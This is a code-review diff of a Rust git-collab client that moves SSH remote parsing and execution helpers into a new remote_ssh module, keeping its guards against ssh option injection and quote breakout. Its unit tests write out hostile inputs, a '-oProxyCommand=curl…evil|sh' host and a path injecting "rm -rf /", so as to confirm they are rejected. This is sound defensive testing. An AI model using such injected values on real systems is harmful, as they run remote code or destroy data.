a73x

c874bb6c

Extract the SSH remote client helpers from release into remote_ssh

a73x   2026-09-06 08:02

Commit message
Extract the SSH remote client helpers from release into remote_ssh

src/lib.rs
Old New
@@ -17,6 +17,7 @@ pub mod output;
17 pub mod patch; 17 pub mod patch;
18 pub mod refs; 18 pub mod refs;
19 pub mod release; 19 pub mod release;
20 pub mod remote_ssh;
20 pub mod signing; 21 pub mod signing;
21 pub mod ssh_share; 22 pub mod ssh_share;
22 pub mod state; 23 pub mod state;
src/release.rs
Old New
@@ -1,11 +1,16 @@
1 //! Client-side release commands and shared release name validation. 1 //! Client-side release commands and shared release name validation.
2 2
3 use std::path::PathBuf; 3 use std::path::PathBuf;
4 use std::process::{Command, Output, Stdio}; 4 use std::process::Stdio;
5 5
6 use git2::Repository; 6 use git2::Repository;
7 7
8 use crate::error::Error; 8 use crate::error::Error;
9 use crate::remote_ssh::{run_remote, ssh_remote};
10
11 // The SSH plumbing these commands run on lives in `remote_ssh`, shared with
12 // `lease`. Re-exported because callers and tests reach for it here.
13 pub use crate::remote_ssh::{parse_ssh_remote, SshRemote};
9 14
10 /// Maximum length in bytes for a release version or filename. 15 /// Maximum length in bytes for a release version or filename.
11 pub const MAX_NAME_LEN: usize = 128; 16 pub const MAX_NAME_LEN: usize = 128;
@@ -24,209 +29,6 @@ pub fn validate_name(name: &str) -> bool {
24 chars.all(|c| c.is_ascii_alphanumeric() || c == '.' || c == '_' || c == '-') 29 chars.all(|c| c.is_ascii_alphanumeric() || c == '.' || c == '_' || c == '-')
25 } 30 }
26 31
27 #[derive(Debug, PartialEq, Eq)]
28 pub struct SshRemote {
29 pub user: Option<String>,
30 pub host: String,
31 pub port: Option<u16>,
32 pub path: String,
33 }
34
35 /// Parse `ssh://[user@]host[:port]/path` or scp-style `[user@]host:path`.
36 ///
37 /// Note: IPv6 bracket addresses (`ssh://[::1]:2222/path`) are not specially
38 /// handled and will mis-parse rather than fail closed — out of scope per spec.
39 pub fn parse_ssh_remote(url: &str) -> Option<SshRemote> {
40 if let Some(rest) = url.strip_prefix("ssh://") {
41 let (authority, path) = rest.split_once('/')?;
42 let (user, hostport) = split_user(authority);
43 let (host, port) = match hostport.rsplit_once(':') {
44 Some((h, p)) => (h.to_string(), Some(p.parse().ok()?)),
45 None => (hostport.to_string(), None),
46 };
47 if host.is_empty() || path.is_empty() {
48 return None;
49 }
50 if is_option_lookalike(user.as_deref(), &host) {
51 return None;
52 }
53 return Some(SshRemote {
54 user,
55 host,
56 port,
57 path: path.to_string(),
58 });
59 }
60 if url.contains("://") {
61 return None;
62 }
63 // scp-style: [user@]host:path — but not a local path
64 let (authority, path) = url.split_once(':')?;
65 if authority.is_empty() || path.is_empty() || authority.contains('/') {
66 return None;
67 }
68 let (user, host) = split_user(authority);
69 if is_option_lookalike(user.as_deref(), host) {
70 return None;
71 }
72 Some(SshRemote {
73 user,
74 host: host.to_string(),
75 port: None,
76 path: path.to_string(),
77 })
78 }
79
80 /// Whether the destination would reach `ssh` as an option rather than a host.
81 ///
82 /// `ssh_command` passes the destination as a positional argv element, so a
83 /// leading `-` is read by OpenSSH's getopt as a flag — and `-oProxyCommand=…`
84 /// runs through `/bin/sh -c`. git applies the same guard to its own transport
85 /// (`looks_like_command_line_option`, CVE-2017-1000117); `sync.rs` inherits it
86 /// by shelling out to `git push`/`git fetch`, but this module invokes `ssh`
87 /// directly, so it has to repeat the check rather than rely on git's.
88 ///
89 /// Only the user's leading `-` can actually reach getopt today, since the
90 /// destination is formatted `{user}@{host}` — a dash on the host is already
91 /// shielded by whatever precedes the `@`. Both are rejected anyway: the
92 /// asymmetry is an artifact of the current format string, and a caller that
93 /// ever passes the host separately (or drops the user) would silently reopen
94 /// the hole.
95 fn is_option_lookalike(user: Option<&str>, host: &str) -> bool {
96 user.is_some_and(|u| u.starts_with('-')) || host.starts_with('-')
97 }
98
99 fn split_user(authority: &str) -> (Option<String>, &str) {
100 match authority.split_once('@') {
101 Some((user, host)) => (Some(user.to_string()), host),
102 None => (None, authority),
103 }
104 }
105
106 fn ssh_remote(repo: &Repository, remote_name: &str) -> Result<SshRemote, Error> {
107 let remote = repo
108 .find_remote(remote_name)
109 .map_err(|_| Error::Cmd(format!("remote '{}' not found", remote_name)))?;
110 let url = remote
111 .url()
112 .ok_or_else(|| Error::Cmd(format!("remote '{}' has no URL", remote_name)))?;
113 let parsed = parse_ssh_remote(url).ok_or_else(|| {
114 Error::Cmd(format!(
115 "remote '{}' ({}) is not an SSH remote — releases need an ssh:// or user@host: remote",
116 remote_name, url
117 ))
118 })?;
119 validate_remote_path(&parsed.path)?;
120 Ok(parsed)
121 }
122
123 /// Reject a remote path containing quote characters: our remote command strings
124 /// wrap arguments in single quotes with no escaping, so a quote in the path
125 /// would let it break out of its argument — turn that into a clear client-side
126 /// error instead of an opaque server-side rejection (or worse).
127 fn validate_remote_path(path: &str) -> Result<(), Error> {
128 if path.contains('\'') || path.contains('"') {
129 return Err(Error::Cmd(format!(
130 "remote path contains quotes, which release commands cannot escape: {}",
131 path
132 )));
133 }
134 Ok(())
135 }
136
137 /// The candidate ssh command strings, in the order they were read from their
138 /// respective sources. Named fields (rather than positional `Option<String>`
139 /// args) so a call site can't silently pass them in the wrong order.
140 pub(crate) struct SshCommandSources {
141 pub(crate) collab_env: Option<String>,
142 pub(crate) git_env: Option<String>,
143 pub(crate) config: Option<String>,
144 }
145
146 /// Pick the ssh command string to use, first match wins: `collab_env`
147 /// (GIT_COLLAB_SSH_COMMAND), then `git_env` (GIT_SSH_COMMAND), then `config`
148 /// (git's `core.sshCommand`), then a bare `"ssh"`. Env overrides config for
149 /// the last two — matching git itself, whose docs say `core.sshCommand` "is
150 /// overridden when the GIT_SSH_COMMAND environment variable is set". A
151 /// candidate that is empty or whitespace-only is treated as absent rather
152 /// than winning with a blank program name.
153 pub(crate) fn resolve_ssh_command(sources: SshCommandSources) -> String {
154 [sources.collab_env, sources.git_env, sources.config]
155 .into_iter()
156 .flatten()
157 .find(|value| !value.trim().is_empty())
158 .unwrap_or_else(|| "ssh".to_string())
159 }
160
161 /// Build the ssh invocation for a remote. The command is resolved in order:
162 /// `GIT_COLLAB_SSH_COMMAND` (env, this tool's own escape hatch) > `GIT_SSH_COMMAND`
163 /// (env) > `core.sshCommand` (git config, including inherited global/system
164 /// config) > bare `ssh`. Env overriding config for the last two matches git's
165 /// own resolution, so `git-collab release` agrees with `git push` against the
166 /// same remote even when a user sets `core.sshCommand` globally but overrides
167 /// it with `GIT_SSH_COMMAND` in one shell. Unlike git, which runs these
168 /// through `sh -c` and supports shell quoting, this is split on whitespace
169 /// only — a path containing spaces cannot be expressed.
170 fn ssh_command(repo: &Repository, remote: &SshRemote) -> Command {
171 let env_collab = std::env::var("GIT_COLLAB_SSH_COMMAND").ok();
172 let env_git = std::env::var("GIT_SSH_COMMAND").ok();
173 let config_ssh = repo
174 .config()
175 .ok()
176 .and_then(|cfg| cfg.get_string("core.sshCommand").ok());
177 let base = resolve_ssh_command(SshCommandSources {
178 collab_env: env_collab,
179 git_env: env_git,
180 config: config_ssh,
181 });
182 let mut parts = base.split_whitespace();
183 let mut cmd = Command::new(parts.next().unwrap_or("ssh"));
184 for part in parts {
185 cmd.arg(part);
186 }
187 if let Some(port) = remote.port {
188 cmd.arg("-p").arg(port.to_string());
189 }
190 match &remote.user {
191 Some(user) => cmd.arg(format!("{}@{}", user, remote.host)),
192 None => cmd.arg(&remote.host),
193 };
194 cmd
195 }
196
197 fn run_remote(
198 repo: &Repository,
199 remote: &SshRemote,
200 remote_cmd: &str,
201 stdin: Stdio,
202 ) -> Result<Output, Error> {
203 let output = ssh_command(repo, remote)
204 .arg(remote_cmd)
205 .stdin(stdin)
206 .output()
207 .map_err(|e| Error::Cmd(format!("failed to run ssh: {}", e)))?;
208 if !output.status.success() {
209 // Protocol errors from our server always arrive on the exec channel's
210 // stdout; stderr is ssh's own banners (e.g. host-key warnings). Never
211 // concatenate the two — that glues an unrelated banner onto the
212 // message. Prefer stdout, fall back to stderr, then a generic message.
213 let stdout = String::from_utf8_lossy(&output.stdout).trim().to_string();
214 let stderr = String::from_utf8_lossy(&output.stderr).trim().to_string();
215 let msg = if !stdout.is_empty() {
216 stdout
217 } else if !stderr.is_empty() {
218 stderr
219 } else {
220 "server rejected the command".to_string()
221 };
222 // Strip a leading "error: " so callers (main.rs prints "error: {}")
223 // don't double it up.
224 let msg = msg.strip_prefix("error: ").unwrap_or(&msg).to_string();
225 return Err(Error::Cmd(msg));
226 }
227 Ok(output)
228 }
229
230 pub fn publish( 32 pub fn publish(
231 repo: &Repository, 33 repo: &Repository,
232 remote_name: &str, 34 remote_name: &str,
@@ -424,180 +226,4 @@ mod tests {
424 assert!(!validate_name(&"a".repeat(129))); 226 assert!(!validate_name(&"a".repeat(129)));
425 assert!(validate_name(&"a".repeat(128))); 227 assert!(validate_name(&"a".repeat(128)));
426 } 228 }
427
428 #[test]
429 fn parse_ssh_url_full() {
430 let r = parse_ssh_remote("ssh://git@example.com:2222/myrepo.git").unwrap();
431 assert_eq!(r.user.as_deref(), Some("git"));
432 assert_eq!(r.host, "example.com");
433 assert_eq!(r.port, Some(2222));
434 assert_eq!(r.path, "myrepo.git");
435 }
436
437 #[test]
438 fn parse_ssh_url_minimal() {
439 let r = parse_ssh_remote("ssh://example.com/org/repo.git").unwrap();
440 assert_eq!(r.user, None);
441 assert_eq!(r.port, None);
442 assert_eq!(r.path, "org/repo.git");
443 }
444
445 #[test]
446 fn parse_scp_style() {
447 let r = parse_ssh_remote("git@example.com:myrepo.git").unwrap();
448 assert_eq!(r.user.as_deref(), Some("git"));
449 assert_eq!(r.host, "example.com");
450 assert_eq!(r.port, None);
451 assert_eq!(r.path, "myrepo.git");
452 }
453
454 #[test]
455 fn parse_rejects_non_ssh() {
456 assert!(parse_ssh_remote("https://example.com/repo.git").is_none());
457 assert!(parse_ssh_remote("/srv/git/repo.git").is_none());
458 assert!(parse_ssh_remote("../relative/path").is_none());
459 assert!(parse_ssh_remote("file:///srv/git/repo.git").is_none());
460 }
461
462 /// `ssh_command` passes the host (or `user@host`) as a positional argv
463 /// element, and OpenSSH's getopt reads a leading `-` as an option —
464 /// `-oProxyCommand=...` runs through `/bin/sh -c`. git guards its own
465 /// transport the same way (`looks_like_command_line_option`,
466 /// CVE-2017-1000117); `git push`/`git fetch` in sync.rs inherit that, but
467 /// this module is the one place we invoke ssh directly, so the guard has
468 /// to be repeated here.
469 #[test]
470 fn parse_rejects_option_lookalike_authority() {
471 // No colon and no slash in the payload, so it survives both the port
472 // split and the authority/path split — this is the shape that parses.
473 assert!(
474 parse_ssh_remote("ssh://-oProxyCommand=curl${IFS}evil${IFS}|${IFS}sh/repo.git")
475 .is_none()
476 );
477 assert!(parse_ssh_remote("ssh://-oProxyCommand=x@host/repo.git").is_none());
478 assert!(parse_ssh_remote("-oProxyCommand=x:repo.git").is_none());
479 assert!(parse_ssh_remote("user@-oProxyCommand=x:repo.git").is_none());
480 // A leading dash is only rejected in the authority; paths and normal
481 // hosts are untouched.
482 assert!(parse_ssh_remote("ssh://example.com/-dashed-path.git").is_some());
483 }
484
485 #[test]
486 fn parse_rejects_out_of_range_port() {
487 assert!(parse_ssh_remote("ssh://host:99999/x").is_none());
488 }
489
490 #[test]
491 fn parse_rejects_scp_style_with_empty_path() {
492 assert!(parse_ssh_remote("host:").is_none());
493 }
494
495 #[test]
496 fn parse_rejects_scp_style_with_empty_authority() {
497 assert!(parse_ssh_remote(":path").is_none());
498 }
499
500 #[test]
501 fn parse_rejects_ssh_url_without_path() {
502 assert!(parse_ssh_remote("ssh://host").is_none());
503 }
504
505 #[test]
506 fn rejects_remote_path_with_single_quote() {
507 let remote = parse_ssh_remote("ssh://git@example.com/evil'; rm -rf /.git").unwrap();
508 let err = validate_remote_path(&remote.path).unwrap_err();
509 assert!(matches!(err, Error::Cmd(ref m) if m.contains("quotes")));
510 }
511
512 #[test]
513 fn rejects_remote_path_with_double_quote() {
514 let remote = parse_ssh_remote("ssh://git@example.com/evil\"x").unwrap();
515 assert!(validate_remote_path(&remote.path).is_err());
516 }
517
518 #[test]
519 fn accepts_remote_path_without_quotes() {
520 let remote = parse_ssh_remote("ssh://git@example.com/myrepo.git").unwrap();
521 assert!(validate_remote_path(&remote.path).is_ok());
522 }
523
524 #[test]
525 fn resolve_ssh_command_prefers_collab_env_over_all_others() {
526 assert_eq!(
527 resolve_ssh_command(SshCommandSources {
528 collab_env: Some("collab-ssh".to_string()),
529 git_env: Some("git-ssh".to_string()),
530 config: Some("config-ssh".to_string()),
531 }),
532 "collab-ssh"
533 );
534 }
535
536 /// Regression guard: git's own resolution has GIT_SSH_COMMAND (env)
537 /// override core.sshCommand (config) — the reverse of what an earlier
538 /// version of this function did. A user with core.sshCommand set
539 /// globally who exports GIT_SSH_COMMAND for one shell must see it win,
540 /// matching `git push` against the same remote.
541 ///
542 /// This only guards resolve_ssh_command's own logic; it cannot catch a
543 /// mis-wired call site (e.g. ssh_command() passing git_env and config in
544 /// the wrong struct fields) — see the e2e tests in
545 /// tests/release_cli_test.rs for that.
546 #[test]
547 fn resolve_ssh_command_git_env_overrides_config_when_both_set() {
548 assert_eq!(
549 resolve_ssh_command(SshCommandSources {
550 collab_env: None,
551 git_env: Some("git-ssh".to_string()),
552 config: Some("config-ssh".to_string()),
553 }),
554 "git-ssh"
555 );
556 }
557
558 #[test]
559 fn resolve_ssh_command_falls_back_to_config() {
560 assert_eq!(
561 resolve_ssh_command(SshCommandSources {
562 collab_env: None,
563 git_env: None,
564 config: Some("config-ssh".to_string()),
565 }),
566 "config-ssh"
567 );
568 }
569
570 #[test]
571 fn resolve_ssh_command_defaults_to_bare_ssh() {
572 assert_eq!(
573 resolve_ssh_command(SshCommandSources {
574 collab_env: None,
575 git_env: None,
576 config: None,
577 }),
578 "ssh"
579 );
580 }
581
582 #[test]
583 fn resolve_ssh_command_ignores_empty_and_whitespace_values() {
584 // An empty or whitespace-only override must not win and must not
585 // produce an empty program name — fall through to the next source.
586 assert_eq!(
587 resolve_ssh_command(SshCommandSources {
588 collab_env: Some("".to_string()),
589 git_env: Some(" ".to_string()),
590 config: Some("config-ssh".to_string()),
591 }),
592 "config-ssh"
593 );
594 assert_eq!(
595 resolve_ssh_command(SshCommandSources {
596 collab_env: Some("\t\n".to_string()),
597 git_env: None,
598 config: None,
599 }),
600 "ssh"
601 );
602 }
603 } 229 }
src/remote_ssh.rs
Old New
@@ -0,0 +1,418 @@
1 //! Talking to a git-collab server over SSH exec verbs.
2 //!
3 //! The server's mutation API is a set of SSH exec verbs (`collab-release`,
4 //! `collab-lease`), so every client command that changes server state shells
5 //! out to `ssh` the same way: resolve the remote, build the invocation, run
6 //! one command, read stdout. This module is that plumbing, shared by
7 //! `release` and `lease`.
8
9 use std::process::{Command, Output, Stdio};
10
11 use git2::Repository;
12
13 use crate::error::Error;
14
15 #[derive(Debug, PartialEq, Eq)]
16 pub struct SshRemote {
17 pub user: Option<String>,
18 pub host: String,
19 pub port: Option<u16>,
20 pub path: String,
21 }
22
23 /// Parse `ssh://[user@]host[:port]/path` or scp-style `[user@]host:path`.
24 ///
25 /// Note: IPv6 bracket addresses (`ssh://[::1]:2222/path`) are not specially
26 /// handled and will mis-parse rather than fail closed — out of scope per spec.
27 pub fn parse_ssh_remote(url: &str) -> Option<SshRemote> {
28 if let Some(rest) = url.strip_prefix("ssh://") {
29 let (authority, path) = rest.split_once('/')?;
30 let (user, hostport) = split_user(authority);
31 let (host, port) = match hostport.rsplit_once(':') {
32 Some((h, p)) => (h.to_string(), Some(p.parse().ok()?)),
33 None => (hostport.to_string(), None),
34 };
35 if host.is_empty() || path.is_empty() {
36 return None;
37 }
38 if is_option_lookalike(user.as_deref(), &host) {
39 return None;
40 }
41 return Some(SshRemote {
42 user,
43 host,
44 port,
45 path: path.to_string(),
46 });
47 }
48 if url.contains("://") {
49 return None;
50 }
51 // scp-style: [user@]host:path — but not a local path
52 let (authority, path) = url.split_once(':')?;
53 if authority.is_empty() || path.is_empty() || authority.contains('/') {
54 return None;
55 }
56 let (user, host) = split_user(authority);
57 if is_option_lookalike(user.as_deref(), host) {
58 return None;
59 }
60 Some(SshRemote {
61 user,
62 host: host.to_string(),
63 port: None,
64 path: path.to_string(),
65 })
66 }
67
68 /// Whether the destination would reach `ssh` as an option rather than a host.
69 ///
70 /// `ssh_command` passes the destination as a positional argv element, so a
71 /// leading `-` is read by OpenSSH's getopt as a flag — and `-oProxyCommand=…`
72 /// runs through `/bin/sh -c`. git applies the same guard to its own transport
73 /// (`looks_like_command_line_option`, CVE-2017-1000117); `sync.rs` inherits it
74 /// by shelling out to `git push`/`git fetch`, but this module invokes `ssh`
75 /// directly, so it has to repeat the check rather than rely on git's.
76 ///
77 /// Only the user's leading `-` can actually reach getopt today, since the
78 /// destination is formatted `{user}@{host}` — a dash on the host is already
79 /// shielded by whatever precedes the `@`. Both are rejected anyway: the
80 /// asymmetry is an artifact of the current format string, and a caller that
81 /// ever passes the host separately (or drops the user) would silently reopen
82 /// the hole.
83 fn is_option_lookalike(user: Option<&str>, host: &str) -> bool {
84 user.is_some_and(|u| u.starts_with('-')) || host.starts_with('-')
85 }
86
87 fn split_user(authority: &str) -> (Option<String>, &str) {
88 match authority.split_once('@') {
89 Some((user, host)) => (Some(user.to_string()), host),
90 None => (None, authority),
91 }
92 }
93
94 /// Resolve a named git remote to an SSH destination, rejecting anything the
95 /// exec-verb API cannot be spoken over.
96 pub fn ssh_remote(repo: &Repository, remote_name: &str) -> Result<SshRemote, Error> {
97 let remote = repo
98 .find_remote(remote_name)
99 .map_err(|_| Error::Cmd(format!("remote '{}' not found", remote_name)))?;
100 let url = remote
101 .url()
102 .ok_or_else(|| Error::Cmd(format!("remote '{}' has no URL", remote_name)))?;
103 let parsed = parse_ssh_remote(url).ok_or_else(|| {
104 Error::Cmd(format!(
105 "remote '{}' ({}) is not an SSH remote — this command needs an ssh:// or user@host: remote",
106 remote_name, url
107 ))
108 })?;
109 validate_remote_path(&parsed.path)?;
110 Ok(parsed)
111 }
112
113 /// Reject a remote path containing quote characters: our remote command strings
114 /// wrap arguments in single quotes with no escaping, so a quote in the path
115 /// would let it break out of its argument — turn that into a clear client-side
116 /// error instead of an opaque server-side rejection (or worse).
117 fn validate_remote_path(path: &str) -> Result<(), Error> {
118 if path.contains('\'') || path.contains('"') {
119 return Err(Error::Cmd(format!(
120 "remote path contains quotes, which these commands cannot escape: {}",
121 path
122 )));
123 }
124 Ok(())
125 }
126
127 /// The candidate ssh command strings, in the order they were read from their
128 /// respective sources. Named fields (rather than positional `Option<String>`
129 /// args) so a call site can't silently pass them in the wrong order.
130 pub(crate) struct SshCommandSources {
131 pub(crate) collab_env: Option<String>,
132 pub(crate) git_env: Option<String>,
133 pub(crate) config: Option<String>,
134 }
135
136 /// Pick the ssh command string to use, first match wins: `collab_env`
137 /// (GIT_COLLAB_SSH_COMMAND), then `git_env` (GIT_SSH_COMMAND), then `config`
138 /// (git's `core.sshCommand`), then a bare `"ssh"`. Env overrides config for
139 /// the last two — matching git itself, whose docs say `core.sshCommand` "is
140 /// overridden when the GIT_SSH_COMMAND environment variable is set". A
141 /// candidate that is empty or whitespace-only is treated as absent rather
142 /// than winning with a blank program name.
143 pub(crate) fn resolve_ssh_command(sources: SshCommandSources) -> String {
144 [sources.collab_env, sources.git_env, sources.config]
145 .into_iter()
146 .flatten()
147 .find(|value| !value.trim().is_empty())
148 .unwrap_or_else(|| "ssh".to_string())
149 }
150
151 /// Build the ssh invocation for a remote. The command is resolved in order:
152 /// `GIT_COLLAB_SSH_COMMAND` (env, this tool's own escape hatch) > `GIT_SSH_COMMAND`
153 /// (env) > `core.sshCommand` (git config, including inherited global/system
154 /// config) > bare `ssh`. Env overriding config for the last two matches git's
155 /// own resolution, so `git-collab` agrees with `git push` against the same
156 /// remote even when a user sets `core.sshCommand` globally but overrides it
157 /// with `GIT_SSH_COMMAND` in one shell. Unlike git, which runs these through
158 /// `sh -c` and supports shell quoting, this is split on whitespace only — a
159 /// path containing spaces cannot be expressed.
160 fn ssh_command(repo: &Repository, remote: &SshRemote) -> Command {
161 let env_collab = std::env::var("GIT_COLLAB_SSH_COMMAND").ok();
162 let env_git = std::env::var("GIT_SSH_COMMAND").ok();
163 let config_ssh = repo
164 .config()
165 .ok()
166 .and_then(|cfg| cfg.get_string("core.sshCommand").ok());
167 let base = resolve_ssh_command(SshCommandSources {
168 collab_env: env_collab,
169 git_env: env_git,
170 config: config_ssh,
171 });
172 let mut parts = base.split_whitespace();
173 let mut cmd = Command::new(parts.next().unwrap_or("ssh"));
174 for part in parts {
175 cmd.arg(part);
176 }
177 if let Some(port) = remote.port {
178 cmd.arg("-p").arg(port.to_string());
179 }
180 match &remote.user {
181 Some(user) => cmd.arg(format!("{}@{}", user, remote.host)),
182 None => cmd.arg(&remote.host),
183 };
184 cmd
185 }
186
187 /// Run one exec verb, succeeding only on exit 0.
188 pub fn run_remote(
189 repo: &Repository,
190 remote: &SshRemote,
191 remote_cmd: &str,
192 stdin: Stdio,
193 ) -> Result<Output, Error> {
194 run_remote_expecting(repo, remote, remote_cmd, stdin, &[])
195 }
196
197 /// Run one exec verb, treating `also_ok` exit codes as success rather than
198 /// failure and handing the `Output` back for the caller to interpret.
199 ///
200 /// Leases need this: a lost race exits 4 with a JSON body on stdout, which is
201 /// an *answer*, not an error. Without an allow-list the shared error mapping
202 /// below would swallow the body and the code alike.
203 pub fn run_remote_expecting(
204 repo: &Repository,
205 remote: &SshRemote,
206 remote_cmd: &str,
207 stdin: Stdio,
208 also_ok: &[i32],
209 ) -> Result<Output, Error> {
210 let output = ssh_command(repo, remote)
211 .arg(remote_cmd)
212 .stdin(stdin)
213 .output()
214 .map_err(|e| Error::Cmd(format!("failed to run ssh: {}", e)))?;
215 let code = output.status.code();
216 let acceptable = output.status.success() || code.is_some_and(|c| also_ok.contains(&c));
217 if !acceptable {
218 // Protocol errors from our server always arrive on the exec channel's
219 // stdout; stderr is ssh's own banners (e.g. host-key warnings). Never
220 // concatenate the two — that glues an unrelated banner onto the
221 // message. Prefer stdout, fall back to stderr, then a generic message.
222 let stdout = String::from_utf8_lossy(&output.stdout).trim().to_string();
223 let stderr = String::from_utf8_lossy(&output.stderr).trim().to_string();
224 let msg = if !stdout.is_empty() {
225 stdout
226 } else if !stderr.is_empty() {
227 stderr
228 } else {
229 "server rejected the command".to_string()
230 };
231 // Strip a leading "error: " so callers (main.rs prints "error: {}")
232 // don't double it up.
233 let msg = msg.strip_prefix("error: ").unwrap_or(&msg).to_string();
234 return Err(Error::Cmd(msg));
235 }
236 Ok(output)
237 }
238
239 #[cfg(test)]
240 mod tests {
241 use super::*;
242
243 #[test]
244 fn parse_ssh_url_full() {
245 let r = parse_ssh_remote("ssh://git@example.com:2222/myrepo.git").unwrap();
246 assert_eq!(r.user.as_deref(), Some("git"));
247 assert_eq!(r.host, "example.com");
248 assert_eq!(r.port, Some(2222));
249 assert_eq!(r.path, "myrepo.git");
250 }
251
252 #[test]
253 fn parse_ssh_url_minimal() {
254 let r = parse_ssh_remote("ssh://example.com/org/repo.git").unwrap();
255 assert_eq!(r.user, None);
256 assert_eq!(r.port, None);
257 assert_eq!(r.path, "org/repo.git");
258 }
259
260 #[test]
261 fn parse_scp_style() {
262 let r = parse_ssh_remote("git@example.com:myrepo.git").unwrap();
263 assert_eq!(r.user.as_deref(), Some("git"));
264 assert_eq!(r.host, "example.com");
265 assert_eq!(r.port, None);
266 assert_eq!(r.path, "myrepo.git");
267 }
268
269 #[test]
270 fn parse_rejects_non_ssh() {
271 assert!(parse_ssh_remote("https://example.com/repo.git").is_none());
272 assert!(parse_ssh_remote("/srv/git/repo.git").is_none());
273 assert!(parse_ssh_remote("../relative/path").is_none());
274 assert!(parse_ssh_remote("file:///srv/git/repo.git").is_none());
275 }
276
277 /// `ssh_command` passes the host (or `user@host`) as a positional argv
278 /// element, and OpenSSH's getopt reads a leading `-` as an option —
279 /// `-oProxyCommand=...` runs through `/bin/sh -c`. git guards its own
280 /// transport the same way (`looks_like_command_line_option`,
281 /// CVE-2017-1000117); `git push`/`git fetch` in sync.rs inherit that, but
282 /// this module is the one place we invoke ssh directly, so the guard has
283 /// to be repeated here.
284 #[test]
285 fn parse_rejects_option_lookalike_authority() {
286 // No colon and no slash in the payload, so it survives both the port
287 // split and the authority/path split — this is the shape that parses.
288 assert!(
289 parse_ssh_remote("ssh://-oProxyCommand=curl${IFS}evil${IFS}|${IFS}sh/repo.git")
290 .is_none()
291 );
292 assert!(parse_ssh_remote("ssh://-oProxyCommand=x@host/repo.git").is_none());
293 assert!(parse_ssh_remote("-oProxyCommand=x:repo.git").is_none());
294 assert!(parse_ssh_remote("user@-oProxyCommand=x:repo.git").is_none());
295 // A leading dash is only rejected in the authority; paths and normal
296 // hosts are untouched.
297 assert!(parse_ssh_remote("ssh://example.com/-dashed-path.git").is_some());
298 }
299
300 #[test]
301 fn parse_rejects_out_of_range_port() {
302 assert!(parse_ssh_remote("ssh://host:99999/x").is_none());
303 }
304
305 #[test]
306 fn parse_rejects_scp_style_with_empty_path() {
307 assert!(parse_ssh_remote("host:").is_none());
308 }
309
310 #[test]
311 fn parse_rejects_scp_style_with_empty_authority() {
312 assert!(parse_ssh_remote(":path").is_none());
313 }
314
315 #[test]
316 fn parse_rejects_ssh_url_without_path() {
317 assert!(parse_ssh_remote("ssh://host").is_none());
318 }
319
320 #[test]
321 fn rejects_remote_path_with_single_quote() {
322 let remote = parse_ssh_remote("ssh://git@example.com/evil'; rm -rf /.git").unwrap();
323 let err = validate_remote_path(&remote.path).unwrap_err();
324 assert!(matches!(err, Error::Cmd(ref m) if m.contains("quotes")));
325 }
326
327 #[test]
328 fn rejects_remote_path_with_double_quote() {
329 let remote = parse_ssh_remote("ssh://git@example.com/evil\"x").unwrap();
330 assert!(validate_remote_path(&remote.path).is_err());
331 }
332
333 #[test]
334 fn accepts_remote_path_without_quotes() {
335 let remote = parse_ssh_remote("ssh://git@example.com/myrepo.git").unwrap();
336 assert!(validate_remote_path(&remote.path).is_ok());
337 }
338
339 #[test]
340 fn resolve_ssh_command_prefers_collab_env_over_all_others() {
341 assert_eq!(
342 resolve_ssh_command(SshCommandSources {
343 collab_env: Some("collab-ssh".to_string()),
344 git_env: Some("git-ssh".to_string()),
345 config: Some("config-ssh".to_string()),
346 }),
347 "collab-ssh"
348 );
349 }
350
351 /// Regression guard: git's own resolution has GIT_SSH_COMMAND (env)
352 /// override core.sshCommand (config) — the reverse of what an earlier
353 /// version of this function did. A user with core.sshCommand set
354 /// globally who exports GIT_SSH_COMMAND for one shell must see it win,
355 /// matching `git push` against the same remote.
356 ///
357 /// This only guards resolve_ssh_command's own logic; it cannot catch a
358 /// mis-wired call site (e.g. ssh_command() passing git_env and config in
359 /// the wrong struct fields) — see the e2e tests in
360 /// tests/release_cli_test.rs for that.
361 #[test]
362 fn resolve_ssh_command_git_env_overrides_config_when_both_set() {
363 assert_eq!(
364 resolve_ssh_command(SshCommandSources {
365 collab_env: None,
366 git_env: Some("git-ssh".to_string()),
367 config: Some("config-ssh".to_string()),
368 }),
369 "git-ssh"
370 );
371 }
372
373 #[test]
374 fn resolve_ssh_command_falls_back_to_config() {
375 assert_eq!(
376 resolve_ssh_command(SshCommandSources {
377 collab_env: None,
378 git_env: None,
379 config: Some("config-ssh".to_string()),
380 }),
381 "config-ssh"
382 );
383 }
384
385 #[test]
386 fn resolve_ssh_command_defaults_to_bare_ssh() {
387 assert_eq!(
388 resolve_ssh_command(SshCommandSources {
389 collab_env: None,
390 git_env: None,
391 config: None,
392 }),
393 "ssh"
394 );
395 }
396
397 #[test]
398 fn resolve_ssh_command_ignores_empty_and_whitespace_values() {
399 // An empty or whitespace-only override must not win and must not
400 // produce an empty program name — fall through to the next source.
401 assert_eq!(
402 resolve_ssh_command(SshCommandSources {
403 collab_env: Some("".to_string()),
404 git_env: Some(" ".to_string()),
405 config: Some("config-ssh".to_string()),
406 }),
407 "config-ssh"
408 );
409 assert_eq!(
410 resolve_ssh_command(SshCommandSources {
411 collab_env: Some("\t\n".to_string()),
412 git_env: None,
413 config: None,
414 }),
415 "ssh"
416 );
417 }
418 }
src/ssh_share.rs
Old New
@@ -17,7 +17,7 @@ use std::process::Command;
17 17
18 use git2::Repository; 18 use git2::Repository;
19 19
20 use crate::release::{resolve_ssh_command, SshCommandSources}; 20 use crate::remote_ssh::{resolve_ssh_command, SshCommandSources};
21 21
22 /// A control-socket directory whose masters are closed on drop. 22 /// A control-socket directory whose masters are closed on drop.
23 pub struct SharedSsh { 23 pub struct SharedSsh {